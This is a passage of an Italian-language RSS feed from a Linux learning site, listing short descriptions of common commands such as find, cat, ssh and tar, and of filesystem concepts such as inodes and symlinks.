&lt;p&gt;Linux non sa chi sei. Sa solo il tuo numero.&lt;/p&gt;</description></item><item><title>Find</title><link>https://u-random.dev/comandi/find/</link><pubDate>Tue, 17 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/find/</guid><description>Cerca file e directory nel filesystem in base a criteri specifici (nome, dimensione, permessi, utente). È uno strumento ricorsivo per natura, fondamentale per l'analisi del sistema e la ricerca di artefatti.</description></item><item><title>apt - gestione pacchetti Debian/Ubuntu</title><link>https://u-random.dev/comandi/apt/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/apt/</guid><description>Gestore di pacchetti standard per distribuzioni basate su Debian (Ubuntu, Kali). Serve per installare, aggiornare, rimuovere e gestire il software di sistema.</description></item><item><title>cat - concatena e visualizza file</title><link>https://u-random.dev/comandi/cat/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/cat/</guid><description>Legge uno o più file e ne stampa il contenuto sullo standard output (terminale). È il comando fondamentale per l'ispezione rapida di file di testo, password e configurazioni.</description></item><item><title>Chown</title><link>https://u-random.dev/comandi/chown/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/chown/</guid><description>Cambia il proprietario (owner) e/o il gruppo (group) di un file o di una directory. È essenziale per la gestione dei privilegi e degli accessi in un sistema Linux.</description></item><item><title>Compressione Nidificata (Nested Compression)</title><link>https://u-random.dev/concetti/nested-compression/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/nested-compression/</guid><description>Tecnica di offuscamento che consiste nel comprimere un file più volte usando algoritmi diversi per nasconderne il contenuto e la firma.</description></item><item><title>Compressione Vs Archiviazione</title><link>https://u-random.dev/concetti/compressione-vs-archiviazione/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/compressione-vs-archiviazione/</guid><description>L'archiviazione raggruppa più file in uno solo (container), mentre la compressione riduce lo spazio occupato dai dati eliminando le ridondanze.</description></item><item><title>cp - copia file e directory</title><link>https://u-random.dev/comandi/cp/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/cp/</guid><description>Copia file e directory. Può essere usato per creare 'cloni' reali o collegamenti simbolici di massa.</description></item><item><title>diff - confronta differenze tra due file</title><link>https://u-random.dev/comandi/diff/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/diff/</guid><description>Confronta due file riga per riga e mostra le differenze. Fondamentale per rilevare modifiche non autorizzate a file di configurazione o log.</description></item><item><title>Echo</title><link>https://u-random.dev/comandi/echo/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/echo/</guid><description>Stampa testo o il risultato di espansioni shell sullo standard output. È il tool principale per capire come la shell interpreta ed espande i comandi prima di eseguirli.</description></item><item><title>File</title><link>https://u-random.dev/comandi/file/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/file/</guid><description>Determina il tipo di contenuto di un file esaminando la sua struttura interna (Magic Bytes / Magic Numbers), ignorando completamente l'estensione. È uno strumento critico per distinguere file di testo, binari, script o malware mascherati.</description></item><item><title>Filesystem Architecture Inodes</title><link>https://u-random.dev/concetti/filesystem-architecture-inodes/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/filesystem-architecture-inodes/</guid><description>Concetto Core: In Linux, una directory non è un semplice 'contenitore', ma un file speciale che funge da indice. Al suo interno risiedono voci che associano il nome di ogni elemento al suo numero di inode. L'inode è la struttura dati che contiene i metadati e i puntatori ai blocchi fisici sul disco.</description></item><item><title>gzip - compressione file</title><link>https://u-random.dev/comandi/gzip/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/gzip/</guid><description>Utility per la compressione di file singoli tramite l'algoritmo DEFLATE. Il nome sta per GNU zip.</description></item><item><title>head - mostra le prime righe di un file</title><link>https://u-random.dev/comandi/head/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/head/</guid><description>Visualizza la porzione iniziale (le prime righe o byte) di uno o più file o dell'input ricevuto. head (1) - emette la prima parte dei file.</description></item><item><title>Help</title><link>https://u-random.dev/comandi/help/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/help/</guid><description>Visualizza un riassunto rapido della sintassi, dei flag e delle opzioni di un comando direttamente nello standard output. È lo strumento di consultazione più veloce per recuperare i parametri senza uscire dal flusso di lavoro del terminale.</description></item><item><title>Info</title><link>https://u-random.dev/comandi/info/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/info/</guid><description>Sistema di documentazione avanzato che organizza i manuali in menu navigabili e collegati (ipertestuali). info (1) - legge documenti in formato Info.</description></item><item><title>Inode Anatomy</title><link>https://u-random.dev/concetti/inode-anatomy/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/inode-anatomy/</guid><description>L'Inode (Index Node) è la struttura dati fondamentale dei filesystem Unix-like. Funge da 'carta d'identità' del file, contenendo tutti i metadati e i puntatori ai dati fisici, ma ignorando completamente il nome del file.</description></item><item><title>Journalctl</title><link>https://u-random.dev/comandi/journalctl/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/journalctl/</guid><description>Interroga e visualizza i log gestiti da &lt;code&gt;systemd-journald&lt;/code&gt;. È lo strumento standard per l'analisi dei log di sistema, dei servizi e del kernel nelle distribuzioni Linux moderne.</description></item><item><title>Less</title><link>https://u-random.dev/comandi/less/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/less/</guid><description>Permette di visualizzare file di testo lunghi una pagina alla volta senza caricarli interamente in RAM. È il visualizzatore predefinito per i manuali di sistema (&lt;code&gt;man&lt;/code&gt;) e per l'output di molti comandi di analisi.</description></item><item><title>Link Hard Vs Symbolic</title><link>https://u-random.dev/concetti/link-hard-vs-symbolic/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/link-hard-vs-symbolic/</guid><description>Meccanismi del filesystem per far sì che un file appaia in più posizioni contemporaneamente.</description></item><item><title>Link Orfani (Broken Links)</title><link>https://u-random.dev/concetti/broken-links/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/broken-links/</guid><description>Un collegamento simbolico (Symlink) il cui percorso di destinazione non esiste più sul filesystem. Il link punta al 'nulla'.</description></item><item><title>Linux Filesystem Hierarchy</title><link>https://u-random.dev/concetti/linux-filesystem-hierarchy/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/linux-filesystem-hierarchy/</guid><description>Lo standard (FHS - Filesystem Hierarchy Standard) che definisce la posizione e il contenuto delle directory principali in un sistema Linux. Tutto parte dalla 'radice' rappresentata dal simbolo &lt;code&gt;/&lt;/code&gt;.</description></item><item><title>Ln</title><link>https://u-random.dev/comandi/ln/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ln/</guid><description>Crea collegamenti (links) tra file. Di default crea 'hard links', ma con il flag &lt;code&gt;-s&lt;/code&gt; crea 'symbolic links'.</description></item><item><title>Ls</title><link>https://u-random.dev/comandi/ls/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ls/</guid><description>Elenca i file e le directory contenuti in un percorso. È lo strumento fondamentale per l'esplorazione del sistema e per individuare vettori di attacco, file di configurazione o artefatti nascosti.</description></item><item><title>Network Configuration Linux</title><link>https://u-random.dev/concetti/network-configuration-linux/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/network-configuration-linux/</guid><description>La gestione della rete su Linux varia a seconda della distribuzione e dello scopo (Server vs Desktop). Ubuntu Server usa principalmente Netplan, mentre Kali (e le distro desktop) usa spesso NetworkManager o il file statico &lt;code&gt;interfaces&lt;/code&gt;.</description></item><item><title>Network Interfaces (Interfacce di Rete)</title><link>https://u-random.dev/concetti/network-interfaces/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/network-interfaces/</guid><description>Un'interfaccia di rete è il punto di contatto tra il kernel Linux e una rete - fisica o virtuale. Ogni interfaccia ha un nome, un indirizzo IP, e gestisce un tipo specifico di traffico.</description></item><item><title>Persistenza degli Alias</title><link>https://u-random.dev/concetti/alias-persistence/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/alias-persistence/</guid><description>Il metodo per rendere permanenti gli alias salvandoli nei file di configurazione della shell invece di lasciarli nella memoria volatile della sessione.</description></item><item><title>rm - elimina file e directory</title><link>https://u-random.dev/comandi/rm/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/rm/</guid><description>Rimuove (scollega) file o directory dal filesystem. Il nome sta per remove.</description></item><item><title>Rm Mechanism</title><link>https://u-random.dev/concetti/rm-mechanism/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/rm-mechanism/</guid><description>La logica per cui l'eliminazione di un file in Linux non è la distruzione dei dati, ma la rimozione di un riferimento (link) all'Inode.</description></item><item><title>Servizi Linux (Daemon)</title><link>https://u-random.dev/concetti/linux-services/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/linux-services/</guid><description>Processi che girano in background senza interazione diretta dell'utente, gestiti solitamente da &lt;code&gt;systemd&lt;/code&gt;.</description></item><item><title>Shutdown</title><link>https://u-random.dev/comandi/shutdown/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/shutdown/</guid><description>Spegne, riavvia o pianifica la chiusura del sistema in modo sicuro. Si assicura che tutti i processi ricevano il segnale di terminazione (SIGTERM), i filesystem vengano smontati e i dati sincronizzati su disco (sync).</description></item><item><title>Socket (Endpoint di Comunicazione)</title><link>https://u-random.dev/concetti/socket-concept/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/socket-concept/</guid><description>Un socket è un endpoint di comunicazione che permette a due processi di scambiare dati, sia sulla stessa macchina che attraverso la rete. In Linux, un socket è un file con un proprio File Descriptor, gestito dal Kernel.</description></item><item><title>Ssh</title><link>https://u-random.dev/comandi/ssh/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ssh/</guid><description>Protocollo e client per l'accesso remoto cifrato. Permette di comandare una macchina remota (guest) dal proprio terminale locale (host) garantendo riservatezza e integrità dei dati tramite crittografia asimmetrica.</description></item><item><title>Ssh Config File</title><link>https://u-random.dev/comandi/ssh-config-file/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ssh-config-file/</guid><description>File di configurazione locale (&lt;code&gt;~/.ssh/config&lt;/code&gt;) che permette di mappare parametri complessi (IP, porte, utenti, chiavi) su alias mnemonici. Semplifica l'accesso remoto e permette l'integrazione con IDE come VS Code.</description></item><item><title>Ssh Tunnel</title><link>https://u-random.dev/comandi/ssh-tunnel/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ssh-tunnel/</guid><description>Tecnica SSH che apre una pipe cifrata tra una porta locale (host) e una porta remota (target). Il processo &lt;code&gt;ssh -N&lt;/code&gt; ascolta sulla porta locale e inoltra (forwarda) tutto il traffico al server remoto, agendo come un proxy sicuro senza richiedere servizi in ascolto sulla macchina locale.</description></item><item><title>Standard Streams</title><link>https://u-random.dev/concetti/standard-streams/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/standard-streams/</guid><description>I tre canali di comunicazione che ogni processo Linux apre automaticamente: stdin (0), stdout (1), stderr (2). Fondamentale per capire pipe, redirezione e come collegare comandi tra loro.</description></item><item><title>Systemctl</title><link>https://u-random.dev/comandi/systemctl/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/systemctl/</guid><description>Interfaccia a riga di comando per controllare systemd, il sistema di inizializzazione e il manager dei servizi (demoni) standard nelle distribuzioni Linux moderne. Permette di gestire il ciclo di vita delle unità di sistema (servizi, socket, target).</description></item><item><title>Tar</title><link>https://u-random.dev/comandi/tar/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/tar/</guid><description>Acronimo di Tape Archiver. Raggruppa più file e directory in un unico file archivio senza comprimerli.</description></item><item><title>Tree</title><link>https://u-random.dev/comandi/tree/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/tree/</guid><description>Visualizza ricorsivamente il contenuto di una directory in un formato grafico ad albero, arricchendo la vista con metadati del filesystem come Inode, proprietari e permessi. tree (1) - elenca il contenuto delle directory in un formato ad albero colorato.</description></item><item><title>Type</title><link>https://u-random.dev/comandi/type/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/type/</guid><description>Identifica la natura di un comando (se è un eseguibile, un comando interno della shell o un alias). type (1) - indica come viene interpretato un nome di comando.</description></item><item><title>wc - conta righe, parole e caratteri</title><link>https://u-random.dev/comandi/wc/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/wc/</guid><description>Conta il numero di righe, parole e byte contenuti in un file o ricevuti tramite pipe. wc (1) - stampa il conteggio di righe, parole e byte per ogni file.</description></item><item><title>Whatis</title><link>https://u-random.dev/comandi/whatis/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/whatis/</guid><description>Mostra una descrizione sintetica (una riga) di ciò che fa un determinato comando. whatis (1) - visualizza descrizioni di una riga delle pagine di manuale.</description></item><item><title>Which</title><link>https://u-random.dev/comandi/which/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/which/</guid><description>Localizza il percorso esatto del file binario che verrebbe eseguito lanciando il comando indicato. which (1) - localizza un comando.</description></item><item><title>Who</title><link>https://u-random.dev/comandi/who/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/who/</guid><description>Mostra gli utenti attualmente loggati nel sistema. È uno strumento di monitoraggio immediato per identificare sessioni attive, terminali utilizzati e orari di accesso.</description></item></channel></rss>